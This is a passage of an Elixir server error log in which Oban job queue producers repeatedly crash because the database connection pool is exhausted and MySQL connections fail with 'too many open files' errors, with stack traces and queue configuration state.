    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:44:44.239835Z], limit: 3, uuid: "a2b8915f-b70d-429c-84e2-deb47fc77598", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.239842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261857>, refresh_timer: #Reference<0.2525715032.1068498948.27938>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:56.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:44:44.240276Z], limit: 20, uuid: "70e522b6-bd26-48b2-b7f0-32cc9e57c717", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.240282Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.135888>, refresh_timer: #Reference<0.2525715032.1121189889.135885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:44:44.239860Z], limit: 10, uuid: "8956f3f3-1a08-48d1-a35b-9a46b4961df9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.239867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261854>, refresh_timer: #Reference<0.2525715032.1068498948.27935>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:59.366000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:02.680000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:03.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:03.416000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:03.963000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:44:56.238856Z], limit: 50, uuid: "c91cb776-41d5-4501-a75e-b2b70b0372b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.238862Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.81>, refresh_timer: #Reference<0.2525715032.1077673987.76>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:44:56.239782Z], limit: 5, uuid: "4a5af435-9bfe-40cf-b642-9c412e10f87e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.239787Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.181>, refresh_timer: #Reference<0.2525715032.1068498948.27988>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:44:56.239588Z], limit: 5, uuid: "4c12cbf8-dae3-4523-8c34-a4e9fded32ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.239594Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.180>, refresh_timer: #Reference<0.2525715032.1068498948.27978>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:44:56.240450Z], limit: 20, uuid: "c2473832-6ca3-4bb4-80a7-782a02810295", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.240455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.179>, refresh_timer: #Reference<0.2525715032.1077673987.116>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:44:56.241067Z], limit: 10, uuid: "c7ca765f-9e1b-4f07-80e5-e91e66543ac9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.241073Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28270>, refresh_timer: #Reference<0.2525715032.1099431938.28266>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:44:56.239780Z], limit: 3, uuid: "8107c82f-94a5-4658-969d-2970c58e192b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:56.239785Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.182>, refresh_timer: #Reference<0.2525715032.1121189889.136035>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:08.261000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:09.796000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:10.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:18.266000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:19.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:20.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
